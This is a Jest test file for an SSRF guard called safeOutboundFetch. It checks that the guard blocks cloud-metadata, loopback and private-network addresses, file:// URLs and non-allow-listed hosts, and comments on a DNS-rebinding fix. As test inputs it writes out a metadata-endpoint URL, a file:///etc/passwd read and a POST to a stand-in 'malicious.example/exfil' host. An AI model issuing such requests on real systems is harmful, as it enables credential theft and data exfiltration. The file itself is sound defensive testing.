import { safeOutboundFetch } from '../safe-fetch';
import { BlockedHostError } from '../ssrf-guard';

describe('safeOutboundFetch', () => {
    const origAllow = process.env.ALLOW_PRIVATE_NETWORK;
    afterEach(() => {
        if (origAllow === undefined) delete process.env.ALLOW_PRIVATE_NETWORK;
        else process.env.ALLOW_PRIVATE_NETWORK = origAllow;
    });

    it('rejects cloud-metadata IPs even with ALLOW_PRIVATE_NETWORK=true', async () => {
        process.env.ALLOW_PRIVATE_NETWORK = 'true';
        await expect(
            safeOutboundFetch('http://169.254.169.254/latest/meta-data/')
        ).rejects.toBeInstanceOf(BlockedHostError);
    });

    it('rejects loopback by default', async () => {
        delete process.env.ALLOW_PRIVATE_NETWORK;
        await expect(safeOutboundFetch('http://127.0.0.1:8080/')).rejects.toBeInstanceOf(
            BlockedHostError
        );
    });

    it('rejects RFC1918 by default', async () => {
        delete process.env.ALLOW_PRIVATE_NETWORK;
        await expect(safeOutboundFetch('http://10.0.0.5/')).rejects.toBeInstanceOf(
            BlockedHostError
        );
    });

    it('rejects non-http(s) schemes', async () => {
        await expect(safeOutboundFetch('file:///etc/passwd')).rejects.toBeInstanceOf(
            BlockedHostError
        );
    });

    it('rejects hosts NOT on the allowedHosts list with BlockedHostError', async () => {
        // AUDIT-2 #15.1 (2026-05-23): allowedHosts is now a GATE, not
        // a bypass. Previously the audit had this test asserting that
        // allow-listed hosts SKIPPED the SSRF resolve+pin (and went
        // straight to native fetch). That's exactly the bypass that
        // re-opened the DNS-rebinding TOCTOU and which audit2-15
        // closed. The new contract: allowedHosts (when present)
        // restricts which hosts can be reached. Pinning still happens
        // on every request.
        await expect(
            safeOutboundFetch(
                'https://api.malicious.example/exfil',
                { method: 'POST' },
                { allowedHosts: ['api.telegram.org'] }
            )
        ).rejects.toBeInstanceOf(BlockedHostError);
    });

    // AUDIT-2 #15.1: the previous "aborts on timeout" test mocked
    // globalThis.fetch (which the old bypass path called). The new
    // path goes through https.request directly so that mock no longer
    // intercepts. Timeout coverage lives in pinned-fetch.test.ts which
    // mocks https.request properly. Removed here to avoid a stale-
    // assumption test.
});
